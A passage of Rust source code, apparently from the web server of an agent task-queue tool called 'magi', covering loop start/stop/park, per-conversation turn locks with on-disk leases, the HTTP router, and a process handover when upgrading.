918    #[cfg(test)]
919    fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
920        *self
921            .busy_queue_gate
922            .lock()
923            .unwrap_or_else(PoisonError::into_inner) = Some(gate);
924    }
925
926    /// The loop's state, for [`serve`]'s own way out.
927    fn looping(&self) -> Arc<Mutex<LoopState>> {
928        Arc::clone(&self.looping)
929    }
930
931    /// Start the loop in this process, or say who already has one.
932    ///
933    /// `foreign` is passed in rather than read here so that one request makes
934    /// one judgement about who owns the loop: reading the status file again
935    /// inside this function could refuse a start for a daemon the same
936    /// response then reports as gone.
937    fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
938        if let Some(other) = foreign {
939            return Err(ApiError::conflict(format!(
940                "{} is already running the loop, so this one will not start a \
941                 second: two loops on one queue race for the same claims and \
942                 burn the agent quota twice over. Stop it where it was \
943                 started.",
944                other.who()
945            )));
946        }
947        let mut state = self.lock_loop();
948        if state.live.as_ref().is_some_and(Live::alive) {
949            return Err(ApiError::conflict(format!(
950                "this magi web process (pid {}) is already running the loop",
951                std::process::id()
952            )));
953        }
954
955        let stop = daemon::Stop::new();
956        // The CLI's own defaults for everything the UI has no opinion about:
957        // one poll interval and one retry budget, so a loop started from a
958        // phone behaves exactly like the `magi serve` it replaces.
959        let opts = daemon::Opts {
960            repo: self.repo.clone(),
961            merge: self.merge.clone(),
962            // Whatever this `Ui` already reports worktree sizes and folds
963            // against (see `with_worktrees_root`) is what the loop it starts
964            // must reclaim orphaned worktrees under too - two different
965            // opinions about where the worktree bay is would leave the
966            // janitor pass reclaiming a directory nothing else on this
967            // process is even looking at.
968            worktrees_root: Some(self.worktrees_root.clone()),
969            ..daemon::Opts::default()
970        };
971        let launch = self.launch;
972        let looping = Arc::clone(&self.looping);
973        let handle = tokio::spawn({
974            let opts = opts.clone();
975            let stop = stop.clone();
976            async move {
977                let failure = match launch(opts, stop).await {
978                    Ok(()) => None,
979                    Err(e) => Some(format!("{e:#}")),
980                };
981                match &failure {
982                    Some(why) => tracing::error!("the loop stopped: {why}"),
983                    None => tracing::info!("the loop stopped"),
984                }
985                // Recorded by the task itself rather than reaped by whichever
986                // request happens next, so `loop_rev` moves the moment the
987                // loop ends and a phone with the change stream open learns
988                // that it did. Clearing `live` drops this task's own handle,
989                // which only detaches it, and is the last thing it does.
990                let mut state = lock_or_recover(&looping);
991                state.live = None;
992                state.last_error = failure;
993                state.rev += 1;
994            }
995        });
996        tracing::info!(
997            "the loop is now running in this process: repo {}, merge {}",
998            opts.repo.display(),
999            opts.merge.as_deref().unwrap_or("as the config says")
1000        );
1001        state.live = Some(Live { stop, handle, opts });
1002        // A fresh start is not the place to keep showing why the last one
1003        // died; the operator has read it and pressed the button anyway.
1004        state.last_error = None;
1005        state.rev += 1;
1006        Ok(())
1007    }
1008
1009    /// Ask the loop to stop, without waiting for it to get there.
1010    ///
1011    /// Idempotent: a second tap on stop is not an error, because the first one
1012    /// leaves the loop running for as long as the run in flight takes and the
1013    /// operator has no way to tell a slow stop from a lost one.
1014    fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
1015        if let Some(other) = foreign {
1016            return Err(ApiError::conflict(format!(
1017                "the loop belongs to {}, and this process cannot stop it - \
1018                 stop it where it was started. A button that silently did \
1019                 nothing would be worse than this refusal.",
1020                other.who()
1021            )));
1022        }
1023        let mut state = self.lock_loop();
1024        // An operator who stops the loop has decided it stays stopped, even
1025        // across an upgrade that was already in flight.
1026        if !park {
1027            state.resume_after_handover = false;
1028        }
1029        let Some(live) = state.live.as_ref() else {
1030            return Ok(());
1031        };
1032        // A park upgrades a stop that has already been asked for: the
1033        // operator who tapped "stop" and then realised the run has an hour
1034        // left must not have to restart the loop to change their mind.
1035        if live.stop.stopped() && (!park || live.stop.parking()) {
1036            return Ok(());
1037        }
1038        if park {
1039            live.stop.park(crate::run::ParkCause::Operator);
1040            tracing::info!("the loop was asked to park; the run stops at its next node boundary");
1041        } else {
1042            live.stop.stop();
1043            tracing::info!("the loop was asked to stop; a run in flight is finished first");
1044        }
1045        state.rev += 1;
1046        Ok(())
1047    }
1048
1049    /// The loop as both `/api/loop` and `/api/health` report it.
1050    ///
1051    /// `reading` is the caller's single read of `<home>/daemon.json`, because
1052    /// health answers with this view *and* the daemon object beside it: one
1053    /// read per response is what stops a single answer naming a foreign owner
1054    /// in one field and calling the loop free in the other.
1055    fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
1056        let state = self.lock_loop();
1057        // A loop that panicked never recorded its own end, so the handle -
1058        // not the presence of the record - is what "running" means.
1059        let live = state.live.as_ref().filter(|live| live.alive());
1060        LoopView {
1061            running: live.is_some(),
1062            stopping: live.is_some_and(|live| live.stop.finishing()),
1063            parking: live.is_some_and(|live| live.stop.parking()),
1064            owned: live.is_some(),
1065            repo: live
1066                .map_or(&self.repo, |live| &live.opts.repo)
1067                .display()
1068                .to_string(),
1069            merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
1070            last_error: state.last_error.clone(),
1071            daemon: DaemonView::of(reading),
1072        }
1073    }
1074
1075    /// Start the loop in a successor whose predecessor was running one.
1076    ///
1077    /// Goes through the same path as the UI's start-loop action. A refusal
1078    /// (another process owns the loop) is logged and left in `last_error`;
1079    /// the loop then simply stays stopped.
1080    fn resume_after_handover(&self, resume: bool) -> bool {
1081        if !resume {
1082            return false;
1083        }
1084        let foreign = Foreign::of(daemon::read_status(&self.home).as_ref());
1085        match self.start_loop(foreign) {
1086            Ok(()) => true,
1087            Err(e) => {
1088                let why = format!(
1089                    "the loop could not be resumed after the upgrade: {}",
1090                    e.message
1091                );
1092                tracing::warn!("{why}");
1093                let mut state = self.lock_loop();
1094                state.last_error = Some(why);
1095                state.rev += 1;
1096                false
1097            }
1098        }
1099    }
1100
1101    /// Take the loop lock. See [`lock_or_recover`] for why it cannot fail.
1102    fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
1103        lock_or_recover(&self.looping)
1104    }
1105
1106    /// Whether this process currently owns the agent turn for `id`.
1107    ///
1108    /// This deliberately describes only the in-memory claim made by
1109    /// [`Ui::begin_talk_turn`]. It is not conversation data and therefore is
1110    /// never persisted with a [`Talk`].
1111    fn is_thinking(&self, id: &str) -> bool {
1112        self.talk_turns
1113            .lock()
1114            .is_ok_and(|turns| turns.live.contains(id))
1115            // Another process (the CLI) can hold the turn through the
1116            // on-disk lease.
1117            || self.talks.turn_held(id)
1118    }
1119
1120    /// Claim the right to run one turn in a talk, or report that it is busy.
1121    ///
1122    /// A talk is strictly turn-based: the agent is resumed with the
1123    /// conversation it already has, so two turns running at once would resume
1124    /// the same session twice and append their answers in whatever order the
1125    /// two CLIs finished in. The operator would come back to a transcript
1126    /// with two half-turns interleaved, which is unreadable and, worse,
1127    /// unfixable - there is no undo for a persisted turn.
1128    ///
1129    /// A busy result is queued as a durable draft by [`talk_say`], rather than
1130    /// starting a second CLI invocation for the same session.
1131    ///
1132    /// The lock is a `std::sync::Mutex` and never crosses an `await`: it is
1133    /// taken to test-and-insert and released before the agent is spawned. The
1134    /// returned guard removes the id on drop, which is what makes a panicking
1135    /// handler or a phone that walks out of range leave the talk usable - axum
1136    /// drops the handler future when the client disconnects, and without the
1137    /// guard that talk would be wedged until the server restarted.
1138    fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1139        self.claim_talk_turn(id, false)
1140    }
1141
1142    /// Claim a turn after durably queueing a draft, or notify its current
1143    /// owner that a drainer must recheck before it releases the slot.
1144    fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1145        self.claim_talk_turn(id, true)
1146    }
1147
1148    fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
1149        let mut live = self
1150            .talk_turns
1151            .lock()
1152            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1153        if live.parking {
1154            if queued {
1155                // The draft is already durable; nothing may drain it until
1156                // the successor is up, so the caller sees a busy slot.
1157                *live.queued.entry(id.to_owned()).or_default() += 1;
1158                return Ok(None);
1159            }
1160            return Err(ApiError::conflict(UPGRADE_IN_PROGRESS));
1161        }
1162        let inserted = live.live.insert(id.to_owned());
1163        // The on-disk lease is the cross-process half of the gate. Taken
1164        // second, and undone if lost, so `live` never claims a turn the lease
1165        // refused.
1166        let lease = if inserted {
1167            match self.talks.claim_turn(id) {
1168                Ok(Some(lease)) => Some(lease),
1169                Ok(None) => {
1170                    live.live.remove(id);
1171                    None
1172                }
1173                Err(e) => {
1174                    live.live.remove(id);
1175                    return Err(ApiError::from(e));
1176                }
1177            }
1178        } else {
1179            None
1180        };
1181        if lease.is_none() {
1182            if queued {
1183                // A queued write has landed before this busy check.
1184                // `drain_loop` uses this generation to recheck after its
1185                // off-thread disk read, so it cannot release a turn between
1186                // this check and the write.
1187                *live.queued.entry(id.to_owned()).or_default() += 1;
1188            }
1189            return Ok(None);
1190        }
1191        Ok(Some(TalkTurnGuard {
1192            talk: id.to_owned(),
1193            turns: Arc::clone(&self.talk_turns),
1194            released: false,
1195            lease,
1196        }))
1197    }
1198
1199    /// Decide whether a free talk may start a new immediate turn while its
1200    /// claim lock is held. A persisted draft without an owner is recovery
1201    /// state, not a busy turn: two simultaneous `/say` requests must both
1202    /// leave it untouched rather than one of them appending to it.
1203    fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
1204        let mut live = self
1205            .talk_turns
1206            .lock()
1207            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1208        // Same answer as a running turn: the text is queued as a draft.
1209        if live.parking || live.live.contains(id) {
1210            return Ok(TalkTurnStart::Busy);
1211        }
1212        let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
1213            return Ok(TalkTurnStart::Foreign);
1214        };
1215        // A refused `Pending` below drops the lease again.
1216        let talk = self.talks.get(id).map_err(ApiError::from)?;
1217        if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
1218            return Ok(TalkTurnStart::Pending);
1219        }
1220        live.live.insert(id.to_owned());
1221        Ok(TalkTurnStart::Claimed(TalkTurnGuard {
1222            talk: id.to_owned(),
1223            turns: Arc::clone(&self.talk_turns),
1224            released: false,
1225            lease: Some(lease),
1226        }))
1227    }
1228
1229    fn queued_generation(&self, id: &str) -> u64 {
1230        let live = self
1231            .talk_turns
1232            .lock()
1233            .unwrap_or_else(PoisonError::into_inner);
1234        live.queued.get(id).copied().unwrap_or(0)
1235    }
1236
1237    /// The shared turn slots, for the upgrade hand-over to wait on.
1238    fn turns(&self) -> Arc<Mutex<TalkTurns>> {
1239        Arc::clone(&self.talk_turns)
1240    }
1241
1242    /// Park the loop for an upgrade, and report the run that is parking.
1243    ///
1244    /// A park rather than a stop: a stop waits out the whole competition, and
1245    /// not waiting is the point of upgrading from a phone. `None` means
1246    /// nothing was in flight, which is worth saying so the operator is not
1247    /// told a run is parking when none is.
1248    fn park_for_upgrade(&self, from: &str, to: Option<&str>) -> ApiResult<Option<String>> {
1249        let parking = {
1250            let mut state = self.lock_loop();
1251            // Decided here, before the park: by the time the handover fires
1252            // an idle loop has already seen the park and ended, so `live`
1253            // would read as "was never running". A loop the operator had
1254            // already stopped stays stopped.
1255            //
1256            // Sticky: a second upgrade request finds the loop already
1257            // stopping because of the first one's park, and must not read
1258            // that as the operator having stopped it. Only an explicit stop
1259            // or a failed update clears an earlier intent.
1260            let resume = state.resume_after_handover
1261                || state
1262                    .live
1263                    .as_ref()
1264                    .is_some_and(|live| live.alive() && !live.stop.stopped());
1265            state.resume_after_handover = resume;
1266            let Some(live) = state.live.as_ref() else {
1267                return Ok(None);
1268            };
1269            let busy = live.stop.busy_now();
1270            live.stop.park(crate::run::ParkCause::Upgrade {
1271                from: from.to_owned(),
1272                to: to.map(|t| t.trim_start_matches('v').to_owned()),
1273            });
1274            state.rev += 1;
1275            busy
1276        };
1277        Ok(if parking {
1278            // More than one run can be in flight now (see
1279            // `Config::daemon.max_concurrent_runs`); this answer names one of
1280            // them so the operator sees a park actually happened, not every
1281            // run a park now asks to stop at its next boundary.
1282            daemon::current_work(&self.home, jiff::Timestamp::now())
1283                .into_iter()
1284                .next()
1285                .map(|c| c.run)
1286        } else {
1287            None
1288        })
1289    }
1290
1291    /// Claim a run for a resume, on the same reasoning as
1292    /// [`Ui::begin_talk_turn`]: a guard that releases on drop, so a
1293    /// disconnected phone does not wedge the run until the server restarts.
1294    fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
1295        let mut live = self
1296            .resuming
1297            .lock()
1298            .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
1299        if !live.insert(id.to_owned()) {
1300            return Err(ApiError::conflict(format!(
1301                "run {id} is already being resumed"
1302            )));
1303        }
1304        Ok(ResumeGuard {
1305            run: id.to_owned(),
1306            resuming: Arc::clone(&self.resuming),
1307        })
1308    }
1309
1310    /// The router, with this state baked in.
1311    ///
1312    /// The three front-end files get one explicit route each rather than a
1313    /// path parameter, so there is no traversal surface to get wrong: the set
1314    /// of servable paths is the set written here. The asset route below is the
1315    /// one exception and the only place in this server where a client names a
1316    /// file; it is why [`valid_asset_name`] is checked before a path is built.
1317    pub fn router(self) -> Router {
1318        Router::new()
1319            .route("/", get(index))
1320            .route("/app.css", get(app_css))
1321            .route("/app.js", get(app_js))
1322            .route("/api/health", get(health))
1323            .route("/api/references", post(id_links::resolve_text))
1324            .route("/api/loop", get(loop_get).post(loop_post))
1325            .route("/api/upgrade", post(upgrade_post))
1326            .route("/api/runs", get(runs_list))
1327            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
1328            .route("/api/runs/{id}/core", get(run_core))
1329            .route("/api/runs/{id}/report", get(run_report))
1330            .route("/api/runs/{id}/report.json", get(run_report_json))
1331            .route("/api/runs/{id}/graft.diff", get(run_graft_diff))
1332            .route("/api/runs/{id}/fold", post(run_fold))
1333            .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
1334            .route("/api/runs/{id}/resume", post(run_resume))
1335            .route("/api/queue", get(queue_list))
1336            .route("/api/queue/page", get(queue_page))
1337            .route("/api/search", get(search_get))
1338            .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
1339            .route("/api/queue/{id}/core", get(task_core))
1340            .route("/api/stats", get(stats_get))
1341            .route("/api/stats/queue", get(stats_queue))
1342            .route("/api/repos", get(repos_list))
1343            .route("/api/settings", get(settings_get))
1344            .route("/api/settings/roles", put(settings_put_roles))
1345            .route("/api/queue/{id}/hold", post(queue_hold))
1346            .route("/api/queue/{id}/release", post(queue_release))
1347            .route("/api/queue/{id}/priority", post(queue_priority))
1348            .route("/api/queue/{id}/urgent", post(queue_urgent))
1349            .route("/api/queue/{id}/implementers", post(queue_implementers))
1350            .route("/api/queue/{id}/attempt-limit", post(queue_attempt_limit))
1351            .route("/api/queue/{id}/edit", post(queue_edit))
1352            .route("/api/queue/{id}/done", post(queue_done))
1353            .route("/api/questions", get(questions_list))
1354            .route("/api/questions/core", get(questions_core))
1355            .route("/api/questions/origins", get(question_origins))
1356            .route("/api/questions/{id}/answer", post(question_answer))
1357            .route("/api/questions/{id}/say", post(question_say))
1358            .route("/api/questions/{id}/consult", post(question_consult))
1359            .route("/api/questions/{id}/panel", get(question_panel))
1360            // The same asset, reachable from inside the panel by its bare
1361            // filename. A document served at `.../panel` resolves `shot.png`
1362            // to `.../shot.png`, which is not the asset route, so a panel
1363            // written the way its author was told to write it showed broken
1364            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
1365            // it - deliberately - so the fix is that the panel's own URL ends
1366            // in a filename and its siblings are the assets.
1367            .route("/api/questions/{id}/panel/index.html", get(question_panel))
1368            .route("/api/questions/{id}/panel/{name}", get(question_asset))
1369            .route("/api/questions/{id}/asset/{name}", get(question_asset))
1370            .route("/api/notifications", get(notifications_list))
1371            .route("/api/notifications/read-all", post(notifications_read_all))
1372            .route("/api/notifications/{id}/read", post(notification_read))
1373            .route(
1374                "/api/notifications/{id}/dismiss",
1375                post(notification_dismiss),
1376            )
1377            .route("/api/talks", get(talks_list).post(talk_post))
1378            .route("/api/talks/page", get(talks_page))
1379            .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
1380            .route("/api/talks/{id}/core", get(talk_core))
1381            .route("/api/talks/{id}/sections", get(talk_sections))
1382            .route("/api/talks/{id}/say", post(talk_say))
1383            .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
1384            .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
1385            .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
1386            .route("/api/talks/{id}/agent", post(talk_agent))
1387            .route("/api/talks/{id}/persona", post(talk_persona))
1388            .route("/api/talks/{id}/implementers", post(talk_implementers))
1389            .route("/api/talks/{id}/close", post(talk_close))
1390            .route("/api/talks/{id}/reopen", post(talk_reopen))
1391            // `DefaultBodyLimit` is raised only on this one route - every
1392            // other route on this server answers in a few kilobytes, and
1393            // widening the crate-wide default for all of them just because
1394            // one accepts a picture would let any other handler be handed
1395            // a multi-megabyte body it never expects.
1396            .route(
1397                "/api/talks/{id}/attachments",
1398                post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
1399            )
1400            .route(
1401                "/api/talks/{id}/attachments/{att}",
1402                get(talk_attachment_get),
1403            )
1404            .route("/api/talks/{id}/avatar", get(talk_avatar))
1405            .route("/avatars/operator.svg", get(operator_avatar))
1406            .route(
1407                "/api/avatar-settings",
1408                get(avatar_settings_get)
1409                    .put(avatar_settings_put)
1410                    .delete(avatar_settings_delete),
1411            )
1412            .route("/avatars/persona", get(settings_persona_avatar))
1413            .route("/avatars/magi", get(magi_avatar))
1414            .route(
1415                "/api/magi-icon",
1416                get(magi_icon_get)
1417                    .put(magi_icon_put)
1418                    .delete(magi_icon_delete),
1419            )
1420            .route("/api/events", get(events))
1421            .with_state(Arc::new(self))
1422    }
1423}
1424
1425/// What a chat request is told while an upgrade is parking and the request
1426/// cannot be queued as a draft.
1427const UPGRADE_IN_PROGRESS: &str = "upgrade in progress, try again in a moment";
1428
1429/// One talk's turn slot, released on drop.
1430///
1431/// A guard rather than a matching `remove` at the end of the handler, because
1432/// the handler has several early returns and one `await` that can be cancelled
1433/// out from under it. A leaked id is a talk nobody can talk to again.
1434#[derive(Debug)]
1435struct TalkTurnGuard {
1436    talk: String,
1437    turns: Arc<Mutex<TalkTurns>>,
1438    released: bool,
1439    /// The cross-process half of the slot; dropped with the guard.
1440    lease: Option<crate::talk::TurnLease>,
1441}
1442
1443/// In-memory turn ownership plus the queue generation observed by a drainer.
1444///
1445/// The generation changes only after a durable queued draft is written and its
1446/// caller finds the turn busy. That lets the loop run filesystem work outside
1447/// this mutex while still making the final empty-check/release atomic with a
1448/// concurrent queue handoff.
1449#[derive(Debug, Default)]
1450struct TalkTurns {
1451    live: HashSet<String>,
1452    queued: HashMap<String, u64>,
1453    /// Set while an upgrade hand-over is parking: no turn may start, so the
1454    /// set in `live` can only shrink. Cleared again if the hand-over ends
1455    /// without exiting the process.
1456    parking: bool,
1457}
1458
1459/// The atomic initial-state decision made by
1460/// [`Ui::begin_talk_turn_unless_pending`].
1461enum TalkTurnStart {
1462    Claimed(TalkTurnGuard),
1463    Busy,
1464    /// Another process holds the turn lease. Unlike `Busy` there is no local
1465    /// drain loop that would answer a queued draft, so the caller refuses.
1466    Foreign,
1467    Pending,
1468}
1469
1470impl TalkTurnGuard {
1471    /// Does this guard still own the on-disk lease? A transient failure to
1472    /// check counts as owning: the next beat decides. A guard that lost it
1473    /// must not start another turn on the same session.
1474    fn owns(&self) -> bool {
1475        self.lease
1476            .as_ref()
1477            .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1478    }
1479
1480    /// `talk::respond` while renewing the on-disk lease, so a turn longer
1481    /// than the lease's TTL still reads as held to other processes.
1482    async fn respond(
1483        &self,
1484        talk: &mut Talk,
1485        talks: &Talks,
1486        cfg: &Config,
1487        text: &str,
1488    ) -> anyhow::Result<()> {
1489        let lease = self
1490            .lease
1491            .as_ref()
1492            .context("the turn guard no longer holds its lease")?;
1493        talk::respond(lease, talk, talks, cfg, text).await
1494    }
1495
1496    /// Release while the caller already holds the claim mutex, closing the
1497    /// last-drain/arrival gap without letting `Drop` revoke a later claim.
1498    fn release(mut self, live: &mut TalkTurns) {
1499        // The on-disk lease goes first: while `live` still names the talk, no
1500        // local claim can start, so nobody observes the slot free but the
1501        // lease held.
1502        self.lease = None;
1503        live.live.remove(&self.talk);
1504        live.queued.remove(&self.talk);
1505        self.released = true;
1506    }
1507}
1508
1509impl Drop for TalkTurnGuard {
1510    fn drop(&mut self) {
1511        if self.released {
1512            return;
1513        }
1514        // Lease first, then the in-process slot (see `release`).
1515        drop(self.lease.take());
1516        if let Ok(mut live) = self.turns.lock() {
1517            live.live.remove(&self.talk);
1518            live.queued.remove(&self.talk);
1519        }
1520    }
1521}
1522
1523/// Releases a resume claim, so a run is resumable again after the attempt.
1524struct ResumeGuard {
1525    run: String,
1526    resuming: Arc<Mutex<HashSet<String>>>,
1527}
1528
1529impl Drop for ResumeGuard {
1530    fn drop(&mut self) {
1531        if let Ok(mut live) = self.resuming.lock() {
1532            live.remove(&self.run);
1533        }
1534    }
1535}
1536
1537/// Bind the port, waiting briefly for a predecessor to let go of it.
1538///
1539/// A restart hands the address from one process to the next, and the old one
1540/// holds its listener until it unwinds. A single `bind` can lose that race,
1541/// and for a restart triggered from a phone that means the deck never comes
1542/// back with no terminal around to say why.
1543///
1544/// Bounded, and only for the one error a wait can fix: anything else fails at
1545/// once, because retrying it would turn a clear message into a silence.
1546async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1547    const WINDOW: Duration = Duration::from_secs(10);
1548    const GAP: Duration = Duration::from_millis(250);
1549
1550    let deadline = std::time::Instant::now() + WINDOW;
1551    let mut said = false;
1552    loop {
1553        match tokio::net::TcpListener::bind(socket).await {
1554            Ok(listener) => return Ok(listener),
1555            Err(e)
1556                if e.kind() == std::io::ErrorKind::AddrInUse
1557                    && std::time::Instant::now() < deadline =>
1558            {
1559                if !said {
1560                    said = true;
1561                    tracing::info!(
1562                        "{socket} is still held - waiting up to {}s for it, \
1563                         which is what a restart looks like from here",
1564                        WINDOW.as_secs()
1565                    );
1566                }
1567                tokio::time::sleep(GAP).await;
1568            }
1569            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1570        }
1571    }
1572}
1573
1574/// Signalled when an upgrade has replaced the binary and the successor should
1575/// take this address over. One per process: there is one address to hand on.
1576static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1577
1578/// Set to `1` on the successor when the loop was running at handover.
1579const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1580
1581/// Whether the environment value asks for the loop to be resumed.
1582fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1583    value.is_some_and(|v| v == "1")
1584}
1585
1586/// Start this binary again with the same arguments, detached.
1587///
1588/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
1589/// so the address is already free when the successor binds it. The first
1590/// attempt at this spawned the successor two hundred milliseconds before
1591/// exiting instead, and the released binary - which has no bind retry - died
1592/// on "address already in use" with its stdio sent to null, so the deck
1593/// simply never came back.
1594///
1595/// Detached and without inherited stdio: the successor has to outlive this
1596/// process, and must not hold open a pipe a terminal is waiting on.
1597///
1598/// `resume` tells the successor to start the queue loop, through
1599/// [`RESUME_LOOP_ENV`]. It is always set or removed explicitly so a value this
1600/// process inherited from its own predecessor cannot leak into a generation
1601/// that should not resume. The successor's own environment keeps the variable
1602/// (and so do the agent CLIs it starts); `serve` reads it once at startup.
1603///
1604/// The successor's stdout and stderr are appended to `<home>/web.log` rather
1605/// than sent to null: a supervisor's redirection only ever held the first
1606/// generation's descriptors, so every later generation logged nowhere. The
1607/// pid of the child is returned so the handover log can name it.
1608fn spawn_successor(home: &FsPath, resume: bool) -> Result<u32> {
1609    let exe = std::env::current_exe().context("find this binary")?;
1610    let args: Vec<String> = std::env::args().skip(1).collect();
1611    updater::log_step(
1612        home,
1613        &format!("restarting: {} {}", exe.display(), args.join(" ")),
1614    );
1615    let log_path = home.join(WEB_LOG);
1616    let open_log = || {
1617        std::fs::create_dir_all(home)?;
1618        std::fs::OpenOptions::new()
1619            .create(true)
1620            .append(true)
1621            .open(&log_path)
1622    };
1623    let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1624        Ok(pair) => (
1625            std::process::Stdio::from(pair.0),
1626            std::process::Stdio::from(pair.1),
1627        ),
1628        Err(e) => {
1629            updater::log_warn(
1630                home,
1631                &format!(
1632                    "could not open {}: {e}; the successor logs nowhere",
1633                    log_path.display()
1634                ),
1635            );
1636            (std::process::Stdio::null(), std::process::Stdio::null())
1637        }
1638    };
1639
1640    let mut cmd = std::process::Command::new(&exe);
1641    if resume {
1642        cmd.env(RESUME_LOOP_ENV, "1");
1643    } else {
1644        cmd.env_remove(RESUME_LOOP_ENV);
1645    }
1646    cmd.args(&args)
1647        .stdin(std::process::Stdio::null())
1648        .stdout(out)
1649        .stderr(err);
1650    #[cfg(windows)]
1651    {
1652        use std::os::windows::process::CommandExt as _;
1653        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
1654        // and Ctrl-C in the old terminal must not reach the successor.
1655        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1656    }
1657    let child = cmd.spawn().context("start the successor")?;
1658    Ok(child.id())
1659}
1660
1661/// File under `<home>` the successor's output is appended to.
1662const WEB_LOG: &str = "web.log";
1663
1664/// Resolves when [`HANDOVER`] is signalled. The only waiter on it: a permit
1665/// stored by an earlier `notify_one` is consumed by the first poll, so the
1666/// signal is never missed and never wakes a second time.
1667async fn wait_for_handover(signal: &Notify) {
1668    signal.notified().await;
1669}
1670
1671/// Serve the UI until Ctrl-C, finishing a run the loop has in flight.
1672///
1673/// The server itself owns no state, so nothing here is graceful for the HTTP
1674/// side's sake: the connections go with the dropped listener, which costs a
1675/// phone one change-stream reconnection it was going to make anyway.
1676///
1677/// The signal branch is not optional now that the loop lives in this process.
1678/// [`daemon::serve_until`] listens for Ctrl-C itself, and a registered
1679/// handler is what stops the signal terminating the process - so without a
1680/// branch of our own, the first Ctrl-C after the operator started the loop
1681/// would stop the loop and leave `magi web` listening forever, unkillable
1682/// from the terminal it was started in.
1683///
1684/// What it waits for is the loop, not the sockets. A run in flight is
1685/// finished first, for the reason [`daemon::serve`] gives: killing the graph
1686/// mid-node leaves worktrees, branches and agent sessions behind and throws
1687/// away every agent call already paid for.
1688///
1689/// The server therefore runs on a task of its own rather than inside the
1690/// `select!`: an arm that resolves *drops* the futures the other arms were
1691/// polling, so serving the address from inside one would take the deck down
1692/// at the instant the handover began and keep it down for the whole park -
1693/// up to `timeout_implement`, an hour by default. See [`hand_over`], which
1694/// owns the order.
1695pub async fn serve(opts: Opts) -> Result<()> {
1696    let (addr, warning) = resolve_bind(&opts.bind);
1697    if let Some(warning) = warning {
1698        tracing::warn!("{warning}");
1699    }
1700
1701    // Process-global, and therefore set exactly once, here: the report route
1702    // must never emit escape sequences into a browser, and toggling the flag
1703    // per request would race with a concurrent request rendering its own
1704    // report. Startup is the only moment at which no request can observe the
1705    // change. Nothing in the server turns colour back on.
1706    report::set_color(false);
1707
1708    let repo = normalize_default_repo(opts.repo).await;
1709    let ui = Ui::open(repo).with_merge(opts.merge);
1710    // Cloned before `ui.router()` consumes `ui` below: `hand_over` needs the
1711    // home to bracket the parking and restarting stages, and `run_update_recheck`
1712    // needs both it and the repo, and by then there is no `ui` left to read
1713    // them from.
1714    let home = ui.home.clone();
1715    let repo = ui.repo.clone();
1716    // Settles a progress record a predecessor left non-terminal - either this
1717    // *is* the successor `spawn_successor` started, or the previous process
1718    // died mid-handover. Before the router starts answering, so the very
1719    // first `/api/health` a phone gets from this process already reflects it.
1720    updater::reconcile_after_restart(&home);
1721    updater::log_step(
1722        &home,
1723        &format!(
1724            "web process started (version {}); handover log {}, successor output {}",
1725            env!("CARGO_PKG_VERSION"),
1726            updater::log_path(&home).display(),
1727            home.join(WEB_LOG).display()
1728        ),
1729    );
1730    updater::spawn_watchdog(home.clone());
1731    // `magi web` can stay up for days, and the one-time check `main.rs`'s
1732    // `spawn_update_check` does at startup only ever runs once: after that,
1733    // `/api/health`'s `update` field - and the phone's "Update & restart"
1734    // button, which reads the very same cache - would stay frozen on
1735    // whatever that single check found, no matter how many releases ship
1736    // afterwards. This keeps it current instead. Detached: it must keep
1737    // going for as long as this process serves, `serve` has nothing to await
1738    // it for, and it exits on its own the moment the process does.
1739    tokio::spawn(run_update_recheck(repo, home.clone()));
1740    let looping = ui.looping();
1741    let turns = ui.turns();
1742    let talk_store = ui.talks.clone();
1743    let socket = SocketAddr::new(addr, opts.port);
1744    let listener = bind_waiting(socket).await?;
1745    let url = format!("http://{addr}:{}", opts.port);
1746    tracing::info!(
1747        "magi web UI on {url} - there is no authentication, so anyone who can \
1748         reach this address can file and hold tasks: the tailnet is the \
1749         security boundary"
1750    );
1751    if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1752        tracing::info!("resumed the loop the predecessor was running");
1753    } else {
1754        tracing::info!(
1755            "the queue loop is not running yet - start it from the UI, which is \
1756             the whole reason this process can: nothing in the queue moves until \
1757             something is running the loop"
1758        );
1759    }
1760    if opts.open {
1761        // The URL alone on stdout, for a caller that wants to open it. magi
1762        // does not spawn a browser: on the machine this usually runs on there
1763        // is no display, and a failed launch would be the only output.
1764        println!("{url}");
1765    }
1766
